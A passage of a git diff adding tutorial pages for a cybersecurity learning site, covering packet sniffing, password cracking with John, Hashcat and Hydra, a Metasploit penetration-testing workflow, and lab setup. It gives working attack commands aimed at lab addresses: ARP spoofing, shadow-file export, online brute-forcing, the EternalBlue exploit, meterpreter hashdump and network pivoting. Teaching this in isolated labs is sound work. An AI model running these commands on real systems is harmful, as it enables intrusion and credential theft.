+* **tshark** — CLI version of Wireshark for scripted analysis and extraction.
+* **ngrep** — Human-friendly packet pattern matching (good for quick HTTP inspection).
+* **capinfos / editcap** (from Wireshark suite) — pcap metadata and manipulation.
+* **scapy** (Python) — craft/test packets programmatically.
+
+Install on Kali / Ubuntu:
+
+```bash
+sudo apt update
+sudo apt install wireshark tcpdump tshark ngrep -y
+```
+
+## Capture Basics — Where & How
+
+### Promiscuous mode vs Monitor mode
+
+* **Promiscuous mode** — NIC receives all frames on the same Ethernet segment (useful for bridged/host networks).
+* **Monitor mode** — Wireless interface mode to capture raw 802.11 frames (required for Wi-Fi sniffing).
+
+### Mirror/SPAN port or host-only network
+
+For reliable captures of multi-host traffic, use a switch’s **SPAN** port or a virtual network in host-only/internal mode.
+
+### Basic tcpdump capture
+
+Capture on `eth0`, no name resolution, write to pcap:
+
+```bash
+sudo tcpdump -i eth0 -nn -s 0 -w capture.pcap
+```
+
+Rotate files every 100 MB (prevent disk fill):
+
+```bash
+sudo tcpdump -i eth0 -nn -s 0 -C 100 -w capture-%Y%m%d-%H%M%S.pcap
+```
+
+## Capture Filters (BPF) — Apply at Capture Time
+
+Capture filters reduce the amount of data copied to disk (kernel-level), e.g.:
+
+* By host:
+
+ ```bash
+ sudo tcpdump -i eth0 host 192.168.56.102 -w host.pcap
+ ```
+* By port:
+
+ ```bash
+ sudo tcpdump -i eth0 tcp port 80 -w http.pcap
+ ```
+* By network:
+
+ ```bash
+ sudo tcpdump -i eth0 net 192.168.56.0/24 -w lan.pcap
+ ```
+* Complex:
+
+ ```bash
+ sudo tcpdump -i eth0 'tcp and (port 80 or port 443) and not src net 10.0.0.0/8' -w web.pcap
+ ```
+
+**Rule of thumb:** Use capture filters to avoid overwhelming storage, but be conservative when you expect an unknown attack (capture broader, then filter in analysis).
+
+## Display Filters — Inspect After Capture (Wireshark / tshark)
+
+Display filters are applied in the analyzer (Wireshark) and are far more expressive:
+
+* Show HTTP: `http`
+* Show DNS: `dns`
+* Show traffic to/from IP: `ip.addr == 192.168.56.102`
+* Show TLS handshakes: `tls.handshake`
+* Show packets containing credentials (HTTP Basic auth): `http.authbasic` (or search for `Authorization: Basic` in payload)
+
+Example: filter for POST requests to `/login`:
+
+```
+http.request.method == "POST" && http.request.uri contains "/login"
+```
+
+
+## Analysis Recipes — Common Tasks
+
+### 1) Follow a TCP stream (reconstruct session)
+
+In Wireshark: right-click a TCP packet → `Follow` → `TCP Stream`.
+This shows the request/response flow (useful for web sessions and simple protocols).
+
+### 2) Extract HTTP objects (files)
+
+Wireshark → `File` → `Export Objects` → `HTTP` — choose objects (images, downloads) to save.
+
+With `tshark` or `tcpflow`:
+
+```bash
+# tshark to extract HTTP objects isn't trivial; prefer Wireshark GUI or use `foremost` on reassembled streams
+tcpflow -r capture.pcap
+```
+
+### 3) Detect cleartext credentials
+
+Search for likely fields or patterns:
+
+* HTTP basic authentication: look for `Authorization: Basic`.
+* Common POST param names: `password`, `pwd`, `pass`, `token`.
+* Use display filter in Wireshark:
+
+```
+http contains "password" || http contains "Authorization"
+```
+
+### 4) Find DNS exfil patterns (many small unique subdomains)
+
+Telltale sign: lots of unique DNS queries to suspicious domain:
+
+```tshark
+tshark -r capture.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | sort | uniq -c | sort -nr | head
+```
+
+If you see thousands of distinct subdomains for a single base domain, suspect DNS tunneling/exfil.
+
+## Lab Exercises
+
+### Lab 1 — Basic Capture & HTTP Analysis
+
+1. Start capture on sensor or host:
+
+ ```bash
+ sudo tcpdump -i eth0 -nn -s 0 -w web_lab.pcap
+ ```
+2. From victim VM, open a webpage that serves images and simple forms.
+3. Stop capture after a few minutes and open `web_lab.pcap` in Wireshark.
+4. Use display filter `http` and `Follow TCP Stream` for POST to `/login`. Export any downloadable object.
+
+**Learning outcome:** Understand HTTP fields, reconstruct requests, and extract files.
+
+### Lab 2 — Detect Cleartext Credentials
+
+1. In the victim web app, submit forms with simple credentials (lab only).
+2. Capture traffic and filter:
+
+ ```
+ http contains "password" || http contains "Authorization"
+ ```
+3. Identify credentials, then reconfigure the app to use HTTPS and re-run capture.
+4. Show difference: encrypted TLS payload vs cleartext.
+
+**Learning outcome:** Why HTTPS matters, and how cleartext leaks credentials.
+
+### Lab 3 — ARP Spoofing & Detection
+
+1. In lab, run a simple ARP spoof from Kali (using `arpspoof` or `ettercap`) to MITM Victim → Gateway.
+
+ ```bash
+ sudo arpspoof -i eth0 -t 192.168.56.102 192.168.56.1
+ sudo arpspoof -i eth0 -t 192.168.56.1 192.168.56.102
+ ```
+2. Capture traffic on Sensor and Victim. Look for duplicate ARP replies, gratuitous ARP, and sudden change in MAC-IP mapping.
+3. Use Wireshark filter:
+
+ ```
+ arp.opcode == 2 && arp.src.proto_ipv4 == 192.168.56.1
+ ```
+4. Detect presence of MITM and restore ARP state after lab.
+
+**Learning outcome:** How ARP spoofing looks on the wire and ways to detect it.
+
+### Lab 4 — TLS Decryption in Lab (SSLKEYLOGFILE)
+
+If you control the client and server you can decrypt TLS in Wireshark using the client key log:
+
+1. In a controlled browser (Firefox/Chrome), set `SSLKEYLOGFILE` env var before launching:
+
+ ```bash
+ export SSLKEYLOGFILE=/tmp/sslkeys.log
+ firefox &
+ ```
+2. In Wireshark: `Edit → Preferences → Protocols → TLS → (Pre)-Master-Secret log filename` → point to `/tmp/sslkeys.log`.
+3. Capture traffic and load pcap. Wireshark will be able to decrypt TLS application data for sessions from that browser.
+
+**Learning outcome:** Understand what can and cannot be decrypted, and how TLS protects payloads when keys remain private.
+
+## Measuring Capture Quality & Packet Drops
+
+Capturing at high rates can drop packets. You should measure drop rate:
+
+Let:
+
+* (C) = captured packets (what tcpdump/wireshark shows)
+* (D) = dropped packets reported by NIC or capture tool
+
+The **drop rate**:
+
+$$
+\text{Drop_Rate} = \frac{D}{C + D}
+$$
+
+Example: if `tcpdump`/`pcap` statistics show `packets captured = 100000` and `packets dropped = 2000`:
+
+$$
+\text{Drop_Rate} = \frac{2000}{102000} \approx 0.0196 ; (1.96%)
+$$
+
+**How to reduce drops**
+
+* Capture on a dedicated host or mirror port.
+* Use `-s 0` only when you need full payload; otherwise use smaller snaplen.
+* Write to local fast SSD, not network storage.
+* Use ring buffers (`-C`/`-W`) to split files.
+
+Check capture stats with `tcpdump -r file.pcap -z` or `capinfos capture.pcap`.
+
+## Command Cheatsheet
+
+```bash
+# Capture full packets on interface eth0 to file
+sudo tcpdump -i eth0 -nn -s 0 -w capture.pcap
+
+# Capture only HTTP
+sudo tcpdump -i eth0 -nn -s 0 tcp port 80 -w http.pcap
+
+# Read pcap and show top DNS queries
+tshark -r capture.pcap -Y "dns.qry.name" -T fields -e dns.qry.name | sort | uniq -c | sort -nr | head
+
+# Extract HTTP objects using Wireshark GUI:
+# File -> Export Objects -> HTTP
+
+# List pcap info
+capinfos capture.pcap
+
+# Convert pcapng to pcap with editcap
+editcap -F pcap input.pcapng output.pcap
+
+# TShark: export HTTP bodies (example)
+tshark -r capture.pcap -Y "http.content_type contains \"text/html\"" -T fields -e http.file_data > bodies.txt
+```
+
+## Reporting & Evidence Handling
+
+* Record capture metadata: who captured, where, time range, capture filters.
+* Hash pcap files (SHA256) before analysis and store copies securely.
+* When including artifacts in reports, redact sensitive fields (PII, passwords) unless needed for remediation and allowed by scope.
+* Provide reproductions steps and timestamps for any suspicious activity.
+
+## Summary & Next Steps
+
+This lab covers the essential skills for network sniffing and packet analysis. Next steps you might want to take:
+
+* Deep dive into **protocol analysis** (DNS, SMB, SMB2, NTLM, SMB signing).
+* Learn **Zeek/Bro** for network metadata generation and automated detection.
+* Practice **forensic reconstruction** (reassembling files, parsing email attachments, analyzing malware C2).
+* Integrate packet captures into a SIEM (Splunk/ELK) for alerting and long-term analysis.
\ No newline at end of file
diff --git a/docs/cybersecurity/projects/password-cracking-lab.mdx b/docs/cybersecurity/projects/password-cracking-lab.mdx
index 0d399cd..5832926 100644
--- a/docs/cybersecurity/projects/password-cracking-lab.mdx
+++ b/docs/cybersecurity/projects/password-cracking-lab.mdx
@@ -1,3 +1,234 @@
-import ComingSoon from '@site/src/components/ComingSoon';
+---
+title: "Password Cracking Lab"
+description: "Hands-on lab to practice password auditing using John the Ripper, Hashcat, and Hydra — safe setup, datasets, attack strategies, GPU tuning, and reporting guidance."
+tags: [password-cracking, lab, john-the-ripper, hashcat, hydra, forensics, security]
+---
-
\ No newline at end of file
+This lab teaches you **how password cracking works**, how to run controlled experiments with **John**, **Hashcat**, and **Hydra**, and how to interpret and report results responsibly. Everything below is written for **lab use only** — do **not** run these techniques on systems you don’t own or haven’t been explicitly authorized to test.
+
+:::warning Legal & Ethical Warning
+
+Unauthorized password cracking is illegal and unethical. Only perform the exercises in an isolated lab or on systems where you have written permission.
+
+:::
+
+## Learning Objectives
+
+* Set up a safe password-cracking environment (VMs / Docker).
+* Create and identify common hash formats (MD5, NTLM, bcrypt, SHA-256).
+* Use **John the Ripper** and **Hashcat** for offline cracking (wordlists, masks, rules).
+* Use **Hydra** for controlled online login testing (SSH/FTP/HTTP forms) in-lab.
+* Measure cracking performance, calculate password entropy, and produce an audit report with remediation steps.
+
+## Lab Topology
+
+```mermaid
+flowchart LR
+ A[Attacker VM - Kali] --> B[Cracking Tools: John, Hashcat, Hydra]
+ B --> C[Target VM -> Victim - Local]
+ C --> D[Services: SSH, FTP, Local DB]
+ B --> E[Storage: /lab/wordlists, /lab/hashes, /lab/reports]
+```
+
+Typical setup: Host runs VirtualBox/VMware with two VMs — **Kali (attacker)** and **Ubuntu (victim)**. Use a host-only/internal network.
+
+## Prerequisites & Resources
+
+* Virtualization: VirtualBox or VMware
+* VMs: Kali Linux (attacker) + a Linux victim (Ubuntu)
+* Tools preinstalled (on Kali): `john`, `hashcat`, `hydra`, `zip`, `openssl`, `python3`
+* Wordlists: `rockyou.txt`, `SecLists` (passwords, common-usernames)
+* GPU (optional): NVIDIA/AMD with drivers & OpenCL/CUDA for Hashcat performance
+
+File layout suggestion:
+
+```
+/lab/
+ wordlists/
+ rockyou.txt
+ seclists/
+ hashes/
+ unix_shadow.txt
+ ntlm_hashes.txt
+ reports/
+```
+
+## Lab Setup — Create Test Accounts & Hashes (Safe, Local)
+
+**On the victim VM (Ubuntu)** — create test users with known passwords:
+
+```bash
+# create test users (lab only)
+sudo useradd -m -s /bin/bash alice
+echo "alice:Password123!" | sudo chpasswd
+
+sudo useradd -m -s /bin/bash bob
+echo "bob:qwerty2020" | sudo chpasswd
+
+# create an intentionally weak user for practice
+sudo useradd -m -s /bin/bash eve
+echo "eve:123456" | sudo chpasswd
+```
+
+Export `/etc/passwd` + `/etc/shadow` for offline cracking (authorized lab):
+
+```bash
+# on victim, as root
+sudo cp /etc/passwd /tmp/lab_passwd
+sudo cp /etc/shadow /tmp/lab_shadow
+sudo chown $USER:$USER /tmp/lab_passwd /tmp/lab_shadow
+# transfer these files to attacker VM over host-only share
+```
+
+On attacker (Kali), combine files for John:
+
+```bash
+unshadow /path/to/lab_passwd /path/to/lab_shadow > /lab/hashes/unshadowed.txt
+```
+
+Create an NTLM example (Windows-simulated) and some raw hashes:
+
+```bash
+# simple MD5 example
+echo -n "password" | md5sum > /lab/hashes/md5.txt
+
+# create NTLM hash using mkntpwd or pypi:passlib, or save exported Windows hashes for lab
+# For demonstration, use known NTLM string:
+echo "aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c" > /lab/hashes/ntlm.txt
+```
+
+## Exercise 1 — John the Ripper: Wordlist + Rules
+
+**Goal:** Crack `/etc/shadow` entries using a common wordlist and John’s default rules.
+
+```bash
+# common commands
+john --wordlist=/usr/share/wordlists/rockyou.txt --rules /lab/hashes/unshadowed.txt
+
+# view cracked passwords
+john --show /lab/hashes/unshadowed.txt
+```
+
+**Notes**
+
+* `--rules` mutates words (capitalize, append numbers, leetspeak).
+* Use `--format=` if you need to specify hash format (e.g., `--format=sha512crypt`).
+
+## Password Entropy — Quick Math
+
+Password entropy estimates how many bits of unpredictability a password has.
+
+**Formula:**
+
+$$
+Entropy = L \times \log_2(N)
+$$
+
+* $L$ = length of password
+* $N$ = size of character set (e.g., 26 lowercase, 52 letters, 62 letters+digits, plus symbols)
+
+**Example:** `Password123!`
+
+* Length (L = 12)
+* Character set approx (N = 94) (printable ASCII)
+ $$
+ Entropy \approx 12 \times \log_2(94) \approx 12 \times 6.5546 \approx 78.66 \text{ bits}
+ $$
+
+Use this to explain why longer passphrases beat short complex passwords.
+
+## Exercise 2 — Hashcat: GPU-Accelerated Mask Attack
+
+If you have a GPU, Hashcat is faster for large-scale cracking.
+
+**Example:** Mask attack for passwords with 4 letters + 2 digits:
+
+```bash
+# hashcat mode 0 = MD5, -a 3 = mask attack
+hashcat -m 0 -a 3 /lab/hashes/md5.txt ?l?l?l?l?d?d -w 3 --status --status-timer=10 --session=lab_mask
+```
+
+**Mask shorthand**:
+
+* `?l` = lowercase, `?u` = uppercase, `?d` = digits, `?s` = special, `?a` = all.
+
+Use `-O` for optimized kernels (shorter password limits) and `-w` to adjust workload profile.
+
+## Exercise 3 — Hybrid Attacks & Rules
+
+Combine wordlists with masks or rules to target common human patterns (word + year, name + 123).
+
+```bash
+# Hashcat hybrid example: wordlist + 2 digit mask
+hashcat -m 1000 -a 6 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt ?d?d -w 3
+
+# John with rules
+john --wordlist=/usr/share/wordlists/rockyou.txt --rules=Jumbo /lab/hashes/unshadowed.txt
+```
+
+## Exercise 4 — Hydra (Online, Controlled)
+
+Hydra tests login services (SSH/FTP/HTTP forms). **Ensure target is your VM and rate-limit to avoid lockouts.**
+
+**SSH example (lab VM):**
+
+```bash
+hydra -L /lab/wordlists/usernames.txt -P /usr/share/wordlists/rockyou.txt \
+ -t 4 -f -o /lab/reports/hydra_ssh_hits.txt ssh://192.168.56.102
+```
+
+**HTTP form example:**
+
+```bash
+hydra -L users.txt -P passwords.txt 192.168.56.103 http-post-form \
+"/login.php:user=^USER^&pass=^PASS^:F=Incorrect" -t 4 -o /lab/reports/hydra_http.txt
+```
+
+## Measuring Performance & Throughput
+
+For offline cracking (Hashcat), measure hashes per second:
+
+```bash
+hashcat -m 1000 -b # benchmark NTLM and show H/s
+```
+
+For John, use `--status` or check `john.pot` potfile. Record H/s to compare wordlist effectiveness and GPU acceleration.
+
+## Reporting — What to Include
+
+Your lab audit should include:
+
+* Scope & authorization statement (who approved lab).
+* Hash types and sources (e.g., `unshadowed /etc/shadow`).
+* Tools & versions used (John v..., Hashcat v..., Hydra v...).
+* Wordlists and rules applied (rockyou, custom masks).
+* Crack summary (accounts cracked, time taken, method). Example table:
+
+| Account | Hash Type | Cracked | Method | Time |
+| ------- | ----------- | ------- | -------------- | ------ |
+| alice | sha512crypt | ✅ | wordlist+rules | 2m 30s |
+| bob | sha512crypt | ✅ | mask | 45s |
+| eve | sha512crypt | ✅ | brute-force | 5s |
+
+* Impact & remediation (force resets, enable MFA, hash migration).
+* Artifacts (output files) stored securely.
+
+## Remediation Checklist (For Lab Reports)
+
+* [ ] Enforce strong password policies (length, passphrases).
+* [ ] Implement Multi-Factor Authentication (MFA).
+* [ ] Use slow, salted hashing (Argon2 / bcrypt / scrypt).
+* [ ] Implement account lockout / rate-limiting for online services.
+* [ ] Scan password databases for reused/compromised passwords (check against breach lists).
+* [ ] Educate users on passphrase use and password managers.
+
+## Advanced Topics & Experiments
+
+* Build targeted wordlists using `cewl` or `maskprocessor`.
+* Use `hashcat-utils` for candidate generation & statistics.
+* Try distributed cracking setups (multiple GPUs across machines).
+* Experiment with `--session` and `--restore` for very long jobs.
+
+## Final Notes & Safety
+
+This lab is meant to build defensive expertise: understand attacker techniques so you can protect systems. Keep your findings confidential and use them to improve security posture, not for unauthorized access.
\ No newline at end of file
diff --git a/docs/cybersecurity/projects/penetration-testing-lab.mdx b/docs/cybersecurity/projects/penetration-testing-lab.mdx
index 0d399cd..b775a56 100644
--- a/docs/cybersecurity/projects/penetration-testing-lab.mdx
+++ b/docs/cybersecurity/projects/penetration-testing-lab.mdx
@@ -1,3 +1,299 @@
-import ComingSoon from '@site/src/components/ComingSoon';
+---
+title: "Penetration Testing Lab"
+description: "End-to-end guide to running a safe, repeatable penetration testing lab — reconnaissance, vulnerability discovery, exploitation, post-exploitation, pivoting, and reporting. Includes workflows, commands, diagrams, and ethics-first guidance."
+tags: [penetration-testing, lab, pentest, nmap, metasploit, burp, exploitation, lab-workflow]
+---
-
\ No newline at end of file
+This document guides you through a **complete penetration testing lab** you can run in a safe, isolated environment. It’s written for learners who want to practice realistic pentest workflows from discovery to reporting using commonly used tools like **Nmap**, **Burp Suite**, **Metasploit**, and manual testing techniques.
+
+Everything here is for **lab use only**. Do **not** apply these techniques against third-party systems without written permission.
+
+:::warning Ethics & Legality
+Never run attacks against systems you do not own or explicitly have permission to test. Always get **written authorization** and follow a defined **Rules of Engagement (RoE)** before any active testing.
+:::
+
+## Lab Topology (Suggested)
+
+```mermaid
+graph LR
+ A[Attacker: Kali Linux] -->|Nmap / Burp / MSF| B[Target: Web VM - DVWA/OWASP Juice Shop]
+ A --> C[Target: Windows VM - vulnerable service]
+ A --> D[Monitoring: Security Onion / Snort - optional]
+ B --> D
+ C --> D
+```
+
+Recommended VMs:
+
+* **Kali Linux** — attacker toolkit
+* **Metasploitable / DVWA / Juice Shop / VulnVM** — intentionally vulnerable targets
+* **Windows vulnerable image** — for Windows-specific exercises
+* **Security Onion / Snort** — monitor and learn detection side (optional but highly recommended)
+
+Use an **internal** or **host-only** network to keep traffic isolated.
+
+## Pentest Workflow Overview
+
+A typical penetration test flows like this:
+
+```mermaid
+flowchart TD
+ Recon[1. Reconnaissance] --> Scan[2. Scanning & Enumeration]
+ Scan --> Vulner[3. Vulnerability Identification]
+ Vulner --> Exploit[4. Exploit / Gaining Access]
+ Exploit --> Post[5. Post-Exploitation]
+ Post --> Pivot[6. Lateral Movement & Pivoting]
+ Pivot --> Report[7. Reporting & Remediation]
+```
+
+Each phase has clear goals and outputs that feed the next phase.
+
+## 1) Reconnaissance — Passive then Active
+
+**Goal:** Collect as much info as possible without alerting defenders (passive), then validate with active probes.
+
+Passive sources (lab-only):
+
+* Host OS banners, documentation, Git repos (if local), web content.
+
+Active discovery tools & commands:
+
+```bash
+# Host discovery
+nmap -sn 192.168.56.0/24
+
+# Quick service scan (top ports)
+nmap --top-ports 100 -sV -oN quick.txt 192.168.56.101
+
+# Full TCP port + version detection (lab)
+sudo nmap -p- -sS -sV -O -oN full_scan.txt 192.168.56.101
+```
+
+Save results into your case notes (files, screenshots, or Metasploit DB).
+
+## 2) Scanning & Enumeration
+
+**Goal:** Identify open services, versions, directories, user accounts, and application entry points.
+
+Useful tools & examples:
+
+* **Nmap NSE** — service/script checks:
+
+ ```bash
+ sudo nmap -sV --script vuln,auth 192.168.56.101
+ ```
+* **Nikto / Nikto for web servers:**
+
+ ```bash
+ nikto -h http://192.168.56.101
+ ```
+* **Dirbuster / gobuster** — enumerate directories:
+
+ ```bash
+ gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
+ ```
+* **Burp Suite / OWASP ZAP** — intercept and explore web app logic (login flows, APIs).
+
+Collect:
+
+* Service banners and versions
+* Directory & file enumerations
+* Interesting endpoints (login, upload, admin panels)
+* Credentials or weak auth behavior
+
+## 3) Vulnerability Identification
+
+**Goal:** Map discovered services to known issues and decide which to safely test.
+
+Approach:
+
+* Match service versions to known CVEs (use Nmap `--script vuln` and local CVE databases).
+* Prioritize by **exploitability** and **impact** (see prioritization formula below).
+* Verify findings manually before attempting exploitation.
+
+**Risk Prioritization Formula:**
+
+$$
+\text{Risk} = \text{Exploitability} \times \text{Impact}
+$$
+
+Where each value is normalized between 0 and 1. Use this to prioritize what to test first.
+
+## 4) Exploitation — Gaining Access (Lab Only)
+
+**Goal:** Prove exploitability and obtain a controlled shell/session (meterpreter, reverse shell).
+
+Common methods (lab safe):
+
+* **Web vulnerabilities:** SQLi, RCE, file upload, SSRF — use Burp Suite + manual payloads.
+* **Service exploits:** Metasploit modules for known CVEs.
+* **Password attacks:** Hydra for online login brute-force (lab only).
+
+Example Metasploit flow:
+
+```text
+msf6 > search ms17_010
+msf6 > use exploit/windows/smb/ms17_010_eternalblue
+msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.102
+msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.56.1
+msf6 exploit(ms17_010_eternalblue) > run
+```
+
+**When exploiting:**
+
+* Use *non-destructive* options; avoid payloads that crash the system unless you have explicit permission.
+* Record proof-of-concept (screenshots, safe logs, console output) rather than destructive proof.
+
+## 5) Post-Exploitation — What to Do After Access
+
+**Goals:** Determine impact, pivot options, persistence (only if allowed), and collect evidence.
+
+Common actions (lab):
+
+* **Enumerate system**: `whoami`, `ipconfig`/`ifconfig`, installed software.
+* **Credentials & tokens**: Dump or search for config files, credential stores (ethical constraints apply).
+* **Privilege escalation:** Look for SUID binaries, unpatched kernels, misconfigurations. Tools: `linpeas`, `winpeas`.
+* **Data discovery:** Search for sensitive files, databases, or keys.
+
+Example Meterpreter commands:
+
+```text
+meterpreter > sysinfo
+meterpreter > getuid
+meterpreter > hashdump # only in lab and with permission
+meterpreter > upload /tmp/fix.sh C:\\Windows\\Temp\\fix.sh
+```
+
+Document everything and avoid leaving persistent backdoors unless part of the test plan.
+
+## 6) Lateral Movement & Pivoting
+
+**Goal:** Use the initial foothold to reach other internal systems (simulated corporate networks).
+
+Pivot techniques (lab-only):
+
+* **SSH tunneling / port forwarding**:
+
+ ```bash
+ ssh -L 8080:10.0.0.5:80 user@compromised-host
+ ```
+* **Meterpreter autoroute + socks proxy**:
+
+ ```text
+ meterpreter > run autoroute -s 10.0.0.0/24
+ use auxiliary/server/socks_proxy
+ set SRVPORT 1080
+ run
+ ```
+* **ProxyChains / SOCKS** to route tools through pivot.
+
+Always check the RoE before performing lateral movement or persistence actions.
+
+## 7) Cleanup & Restoration
+
+After testing:
+
+* Remove any tools or files you uploaded.
+* Revert VM snapshots or restore images to a clean state.
+* Rotate credentials changed for testing.
+* Document cleanup steps in your report.
+
+Example cleanup steps:
+
+```bash
+# On compromised host (lab)
+rm /tmp/malicious_tool
+# On attacker, remove payloads and handlers
+```
+
+## 8) Reporting — The Most Valuable Deliverable
+
+A pentest report should be clear, reproducible, and actionable.
+
+Essential sections:
+
+* **Executive Summary** — non-technical impact.
+* **Scope & RoE** — targets, dates, authorizations.
+* **Methodology** — tools and steps used.
+* **Findings** — vuln description, evidence (screenshots/logs), CVE references.
+* **Risk Rating** — severity, exploitability, business impact.
+* **Remediation** — prioritized, concrete fixes and code/config examples.
+* **Appendices** — raw output (nmap, nikto), payloads, session logs.
+
+Use the following risk matrix as guidance:
+
+| Severity | Description | Action |
+| -------- | ------------------------------------------- | ---------------------------------- |
+| Critical | Remote code execution, full DB exfiltration | Patch ASAP / temporary containment |
+| High | Auth bypass, sensitive data leak | Fix within days |
+| Medium | Info disclosure, misconfig | Plan within weeks |
+| Low | Minor misconfig | Routine patching |
+
+## Useful Commands & Quick Cheatsheet
+
+### Recon & Scanning
+
+```bash
+nmap -sn 192.168.56.0/24
+sudo nmap -p- -sS -sV -O -oN full_scan.txt 192.168.56.101
+gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
+nikto -h http://192.168.56.101
+```
+
+### Web Testing (Burp)
+
+* Intercept -> Repeater -> Intruder
+* Use Scanner (Pro) or OWASP ZAP for automation in staging.
+
+### Exploitation
+
+```text
+msfconsole
+use exploit/...
+set RHOSTS
+set LHOST
+set PAYLOAD
+exploit
+```
+
+### Post-Exploitation
+
+```text
+meterpreter > sysinfo
+meterpreter > ps
+meterpreter > download /path/to/file
+meterpreter > run autoroute -s 10.0.0.0/24
+```
+
+## Hands-On Lab Exercises
+
+1. **Full Recon to Exploit (Beginner)**
+
+ * Target: DVWA or Metasploitable
+ * Steps: nmap → gobuster → nikto → Burp intercept → exploit simple SQLi or RCE → document POC.
+
+2. **Windows Exploit Chain (Intermediate)**
+
+ * Target: Vulnerable Windows VM
+ * Steps: nmap → smbenum → MS17-010 module → meterpreter → privilege escalation with local exploit.
+
+3. **Pivoting & Internal Recon (Advanced)**
+
+ * Multi-host lab with segmented networks
+ * Steps: Gain initial shell → configure SOCKS proxy → use proxychains to reach internal-only services → escalate.
+
+## Practical Tips & Best Practices
+
+* Use **snapshots** liberally — take one before every major step.
+* Keep **detailed notes** (time-stamped) — they become your report’s backbone.
+* Use **non-destructive** proof-of-concept evidence (screenshots, safe read-only dumps).
+* Automate repeatable tasks with scripts but be careful: automation can be noisy.
+* Pair offensive work with defensive checks — run your detections in Security Onion or Splunk to learn what gets logged.
+
+## Final Checklist (Pre-Test)
+
+* [ ] Written authorization & RoE document signed
+* [ ] Scope & targets clearly listed (IP ranges, hosts)
+* [ ] Time windows agreed (when active tests are allowed)
+* [ ] Contacts for emergency/rollback if things go wrong
+* [ ] Snapshots or backups available for all targets
\ No newline at end of file
diff --git a/docs/cybersecurity/projects/setup-lab-environment.mdx b/docs/cybersecurity/projects/setup-lab-environment.mdx
index 0d399cd..d3837e6 100644
--- a/docs/cybersecurity/projects/setup-lab-environment.mdx
+++ b/docs/cybersecurity/projects/setup-lab-environment.mdx
@@ -1,3 +1,186 @@
-import ComingSoon from '@site/src/components/ComingSoon';
+---
+title: "Setting Up Your Cybersecurity Lab Environment"
+description: "Learn how to safely create an isolated cybersecurity lab for ethical hacking, network defense, and digital forensics practice using VirtualBox, VMware, or cloud environments."
+sidebar_label: "Setup Lab Environment"
+---
-
\ No newline at end of file
+Before diving into hands-on hacking, network monitoring, or digital forensics, you need a **safe and isolated lab environment**. This ensures your experiments don’t harm your system or network — and helps you learn security tools in a **controlled sandbox**.
+
+## What is a Cybersecurity Lab?
+
+A **cybersecurity lab** is a controlled, virtual environment where you can safely:
+* Practice **ethical hacking** and **penetration testing**.
+* Analyze **malware behavior**.
+* Simulate **network attacks and defenses**.
+* Study **incident response** and **forensics**.
+
+:::tip[Before You Begin]
+Make sure your computer has **at least:**
+* 16 GB RAM (minimum 8 GB)
+* 100 GB free disk space
+* Virtualization enabled in BIOS
+* Tools: [VirtualBox](https://www.virtualbox.org/) or [VMware Workstation Player](https://www.vmware.com/)
+:::
+
+## Lab Architecture Overview
+
+Here’s a simple architecture for a beginner-friendly cybersecurity lab:
+
+```mermaid
+graph TD
+ A[Host Machine - Windows/Linux] --> B[VirtualBox / VMware]
+ B --> C[Kali Linux - Attacker]
+ B --> D[Metasploitable 2 - Victim]
+ B --> E[Security Onion - Monitor]
+ C <--> D
+ D <--> E
+ C <--> E
+```
+
+**Goal:**
+
+* **Kali Linux** → used for offensive testing and scanning
+* **Metasploitable** → a vulnerable machine for testing exploits
+* **Security Onion** → monitors network activity and captures logs
+
+## Step 1: Choose a Virtualization Platform
+
+You can use either **VirtualBox (free)** or **VMware**.
+Both support creating **isolated networks** that simulate a real-world LAN.
+
+**Recommended Setup:**
+
+```bash
+Host: Windows 10 / Ubuntu 22.04
+Virtualization Tool: VirtualBox
+VMs: Kali Linux, Metasploitable 2, Security Onion
+```
+
+## Step 2: Download Required ISOs
+
+| Tool / OS | Description | Download Link |
+| ------------------------- | ------------------------------------------ | -------------------------------------------------------------------------------------------------- |
+| **Kali Linux** | Offensive Security distro for pentesting | [kali.org](https://www.kali.org/get-kali/) |
+| **Metasploitable 2** | Vulnerable VM for exploitation | [SourceForge Link](https://sourceforge.net/projects/metasploitable/) |
+| **Security Onion** | Network monitoring and intrusion detection | [securityonionsolutions.com](https://securityonionsolutions.com/software/) |
+| **Windows 10 Evaluation** | Optional for Windows pentesting | [Microsoft Eval Center](https://developer.microsoft.com/en-us/windows/downloads/virtual-machines/) |
+
+## Step 3: Configure the Network
+
+Use an **Internal Network** or **Host-Only Adapter** to keep your lab **isolated from the Internet**.
+
+```mermaid
+flowchart LR
+ A[Internet] -.- B[Host Machine]
+ B --- C[Internal Network]
+ C --> D[Kali Linux]
+ C --> E[Metasploitable]
+ C --> F[Security Onion]
+```
+
+### Network Modes Explained
+
+| Mode | Description |
+| -------------------- | -------------------------------------------- |
+| **NAT** | Internet access for updates |
+| **Host-Only** | Isolated from Internet, connects VMs to host |
+| **Internal Network** | Fully isolated VM-to-VM communication |
+
+## Step 4: Test Connectivity
+
+Once all VMs are running, test the network connection.
+
+```bash
+# From Kali Linux terminal
+ping 192.168.56.102 # Metasploitable
+ping 192.168.56.103 # Security Onion
+```
+
+If you receive replies, your lab network is configured correctly.
+
+## Step 5: Take Snapshots
+
+Snapshots help you **restore your lab** to a clean state after testing exploits or malware.
+
+```bash
+VBoxManage snapshot "Kali Linux" take "Clean State"
+VBoxManage snapshot "Metasploitable" take "Fresh Setup"
+```
+
+## Step 6: Install and Configure Tools
+
+### On Kali Linux
+
+```bash
+sudo apt update && sudo apt install nmap metasploit-framework burpsuite john hydra
+```
+
+### On Security Onion
+
+Use its setup wizard:
+
+```bash
+sudo so-setup
+```
+
+Then select:
+
+* **Eval Mode** (for small labs)
+* Add sensor and manager roles
+
+## Step 7: Verify Monitoring
+
+Generate test traffic using **nmap** from Kali and check if **Security Onion** detects it.
+
+```bash
+sudo nmap -sS 192.168.56.102
+```
+
+Then open Kibana (Security Onion Dashboard) → search for “Nmap Scan” events.
+
+## Security Lab Performance Formula
+
+The efficiency of your lab setup can be modeled as:
+
+$$
+E = \frac{R_m + D_t + M_s}{N_c}
+$$
+
+Where:
+
+* $ E $ = Efficiency of lab environment
+* $ R_m $ = Resource management (RAM/CPU usage)
+* $ D_t $ = Detection time for incidents
